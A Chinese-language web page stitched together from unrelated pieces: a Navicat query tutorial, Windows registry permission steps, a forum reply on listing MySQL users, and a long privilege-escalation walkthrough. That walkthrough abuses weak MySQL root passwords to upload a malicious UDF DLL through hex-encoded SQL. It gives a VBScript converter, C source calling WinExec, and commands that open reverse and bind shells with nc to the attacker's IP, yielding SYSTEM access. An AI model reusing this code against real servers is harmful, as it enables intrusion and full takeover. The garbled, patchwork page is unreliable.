Navicat 運行查詢
創(chuàng)新互聯(lián)公司專注于樊城網(wǎng)站建設(shè)服務(wù)及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗。 熱誠為您提供樊城營銷型網(wǎng)站建設(shè),樊城網(wǎng)站制作、樊城網(wǎng)頁設(shè)計、樊城網(wǎng)站官網(wǎng)定制、成都小程序開發(fā)服務(wù),打造樊城網(wǎng)絡(luò)公司原創(chuàng)品牌,更為您提供樊城網(wǎng)站排名全網(wǎng)營銷落地服務(wù)。
在工具欄中點擊“運行”按鈕,如果查詢語句完全正確,該查詢將被運行,并在結(jié)果選項卡返回相應(yīng)的查詢數(shù)據(jù);
如果運行查詢時發(fā)生錯誤,運行停止,并顯示相應(yīng)的錯誤信息。
Navicat 運行查詢,在工具欄中點擊“運行”按鈕,如果查詢語句完全正確,該查詢將被運行,并在結(jié)果選項卡返回相應(yīng)的查詢數(shù)據(jù);
如果運行查詢時發(fā)生錯誤,運行停止,并顯示相應(yīng)的錯誤信息。
結(jié)果選項卡以網(wǎng)格顯示查詢返回的數(shù)據(jù)信息,數(shù)據(jù)顯示的模式有兩種,即網(wǎng)格查看和表單查看,具體教程可查看Navicat 教程:如何進行表單查看。
溫馨提示:Navicat 支持返回 10 個結(jié)果集。用戶可以通過選擇查看-顯示結(jié)果-在查詢編輯器下面或在新選項卡,選擇顯示結(jié)果的呈現(xiàn)方式。
結(jié)果選項卡
如果需要命名,在查詢編輯器的每句 SELECT 語句前添加“-- NAME:tab_name”或“/*NAME:tab_name*/
例如:
-- NAME:Q1
SELECT * from table1;
/*NAME:Q2*/
SELECT * from table2;
查詢概況及狀態(tài)
當(dāng)運行查詢時要顯示概況及狀態(tài),選擇查看-顯示概況和狀態(tài)及在工具欄點擊“運行”。
概況選項卡顯示查詢概況:Table lock、System lock、Statistic 等。
溫馨提示:查詢概況及狀態(tài)只限于 MySQL 和 MariaDB 數(shù)據(jù)庫使用,且為 MySQL 5.0,5.0.37,MySQL 5.1,5.1.24 或以上版本支持。
狀態(tài)選項卡顯示查詢狀態(tài):Bytes received、Bytes sent 等。
關(guān)于 Navicat 的更多相關(guān)教程,可參考 Navicat教程。
首先,打開win10注冊表的方法很簡單,使用快捷鍵“Win”+ 【R】組合快捷鍵。在打開后面鍵入命令:Regedit
下面來介紹在Windows10系統(tǒng)中設(shè)置登錄用戶名的注冊表權(quán)限的方法我們在運行對話框中輸入:regedit,點擊確定或按回車鍵(Enter),打開注冊表編輯器,在注冊表編輯器窗口,左鍵單擊:HKEY_CURRENT_USER,再點擊:編輯 - 權(quán)限;
此時,打開了HKEY_CURRENT_USER的權(quán)限對話框,在這個對話框中,我們先查看本機登錄的用戶名,如組或用戶名(G)欄中沒有,點擊:高級選項;
在打開的HKEY_CURRENT_USER的高級安全設(shè)置窗口,點擊:添加;
我們在HKEY_CURRENT_USER的高級安全設(shè)置窗口,點擊添加以后,就會打開HKEY_CURRENT_USER的權(quán)限項目窗口,在這個窗口中,基本權(quán)限項都呈灰色狀態(tài)不可選擇,我們點擊:選擇主體;
在打開的選擇用戶和組對話框中,點擊:高級;
按下來,我們在對話框中點擊:立即查找(N);在搜索結(jié)果(U)欄中用鼠標(biāo)按住右側(cè)的小滑塊向下拖動,找到本機登錄的用戶名如:GONG ZOU,并左鍵單擊用戶名,再點擊:確定;
8
點擊確定以后,我們可以看到本機登錄用戶名顯示在檢查名稱欄中,點擊:確定;點擊確定以后,我們可以看到本機登錄用戶名顯示在檢查名稱欄中,點擊:確定;
很早網(wǎng)上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統(tǒng)權(quán)限,看清楚了,是“直接”得到!
首先,我簡單說一下mysql弱口令得到系統(tǒng)權(quán)限得過程:首先利用mysql腳本上傳udf dll文件,然后利用注冊UDF
DLL中自寫的Function函數(shù),而執(zhí)行任意命令。
思路很簡單,網(wǎng)上也有一些教程,但是他們要么沒有給具體的代碼,要么一句話代過,搞得象我似得小菜很難理解,終于在我付出了幾天得不斷測試得辛勤勞動后,有了點結(jié)果,我把詳細過程和相關(guān)代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進制碼啦!
下面,我們先說如何生成二進制文件得上傳腳本??纯催@段mysql腳本代碼(網(wǎng)友Mix用的方法):
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段為data,類型為longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//導(dǎo)出表中內(nèi)容為文件
前兩句很熟悉把,這個就是我們以前注入的時候,繞過’的解決辦法,把代碼的16進制數(shù)聲明給一個變量,然后導(dǎo)入這個變量就行了。只不過這里,因為16進制代碼是一個文件的內(nèi)容,代碼太長了,所以就用了concat函數(shù)不斷把上次得代碼類加起來,這樣不斷累計到一個變量a中。后面幾句就很簡單了,我都有注釋。
后面三句好說,但是前面的那么多16進制數(shù)據(jù),手工的話,累人??!不過你還記得以前有一個exe2bat.vbs腳本嗎?這次我們可以把這個腳本修改一下后,得到我們這里需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕松的得到我們所需的腳本。腳本內(nèi)容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject("scripting.filesystemobject").opentextfile(fp".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,現(xiàn)在只要你把所要上傳的文件拖到這個腳本圖標(biāo)上面,就可以生成一個同名的txt文件了。這個txt文件,就是我們所需要的mysql腳本,當(dāng)然我們還需要修改一下這個txt文件(畢竟他是我們偷工減料得來的?。?,把最后一行生成的多余的那句“set
@a = concat('',0x”刪除了,加上建表,插值得那三句代碼即可!
腳本生成了,如何上傳?先登陸mysql服務(wù)器:
C:\mysql –u root –h hostip –p
Mysqluse mysql;
//先進入mysql默認(rèn)得數(shù)據(jù)庫,否則你下一步的表將不知道屬于哪個庫
Mysql\. E:\*.dll.txt;
//這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當(dāng)然網(wǎng)速要快啦),不一會你的文件舊上傳完畢了!
下面到達我們的重點,我們上傳什么dll文件?就目前我再網(wǎng)上看到的有兩個已經(jīng)寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql \. e:\mix.dll.txt;
Mysql
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//這兒的注冊的Mixconnect就是在我們dll文件中實現(xiàn)的函數(shù),我們將要用他執(zhí)行系統(tǒng)命令!
Mysql select
Mixconnect('你的ip','8080'); //填寫你的反彈ip和端口
過一會兒,你監(jiān)聽8080端口的nc,就會得到一個系統(tǒng)權(quán)限的shell了!如圖1:
這個的確不錯,通過反彈得到得shell可以傳過一些防火墻,可惜的是,它的這個函數(shù)沒有寫得很好,只能執(zhí)行一次,當(dāng)你第二次連接數(shù)據(jù)庫后,再次運行“select
Mixconnect('你的ip','8080');”的時候,對方的mysql會當(dāng)?shù)?!報錯,然后服務(wù)停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據(jù)我的測試,他對Win2003的系統(tǒng)好像不起作用。
再用my_udf.dll:
Mysql\. C:\my_udf.dll.txt
Mysql CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同樣地,my_udfdoor也是我們注冊后,用來執(zhí)行系統(tǒng)命令得函數(shù)
Mysql select my_udfdoor('’);
//這兒可以隨便寫my_udfdoor得參數(shù),相當(dāng)于我們只是要激活這個函數(shù)
好了,現(xiàn)在你可以不用關(guān)這個shell了,我們再開一個cmd,使用:
D:\nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個后,輸入“f**k”
,他是my_udfdoor默認(rèn)密碼,自己無法更改
過一會兒,你就有了系統(tǒng)權(quán)限的shell了,
由于他是hook
recv版,所以穿墻的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負(fù)所望!進系統(tǒng)后,發(fā)現(xiàn)它有雙網(wǎng)卡,天網(wǎng)防火墻個人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實有很強的穿透防火墻得能力!但是他也有一個bug,就是再我們連接激活這個函數(shù)后(就是使用了命令“select
my_udfdoor('’);”后),不管你是否連接,只要執(zhí)行了:
Mysqldrop function my_udfdoor;
后,mysql也匯報錯,然后掛掉,
所以,你使用這個dll文件無法刪除你的痕跡!
最后,然我們自己寫一個自定義的dll文件??茨懿荒芙鉀Q問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
#include stdlib.h
#include winsock.h
#include
mysql.h
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 調(diào)用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個哥們Crackme是修改的:
#include
stdlib.h
#include windows.h
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函數(shù)名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //當(dāng)然這兒的sys_name也得改!
{
char me[256] = {0};
if
(args-arg_count == 1){
strncpy(me,args-args[0],args-lengths[0]);
me[args-lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它來執(zhí)行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
看操作:
Mysql\.
C:\sysudf.dll.txt
MysqlCreate function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql\. Nc.exe.txt //把nc.exe也上傳上去
Mysqlselect sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name參數(shù)只有一個,參數(shù)指定要執(zhí)行的系統(tǒng)命令
好,看看在Win2003中的一個反彈shell了,
當(dāng)然,我們你也可以不反彈shell了,而去執(zhí)行其他命令,只不過不論是否執(zhí)行成功,都沒有回顯,所以要保證命令格式正確。對于這個dll文件,經(jīng)過測試,不論何時“drop
function
sys_name;”,都是不會報錯的,同時也可以多次運行不同命令。至于他的缺點,就是他的穿墻能力跟Mix.dll一樣不算太強,但對于實在穿不透的墻,直接運行其他命令就是最好的選擇了。
上面三個dll文件可謂各有所短,如何選擇,就看你遇到的實際情況了。
好了,從腳本得編寫使用到dll文件編寫使用,說了這么多,現(xiàn)在大家應(yīng)該都會了吧?題目說的是弱口令得到系統(tǒng)權(quán)限,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u后又一大提權(quán)方法了嗎?
您好,你的問題,我之前好像也遇到過,以下是我原來的解決思路和方法,希望能幫助到你,若有錯誤,還望見諒!查看MYSQL數(shù)據(jù)庫中所有用戶
SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;非常感謝您的耐心觀看,如有幫助請采納,祝生活愉快!謝謝!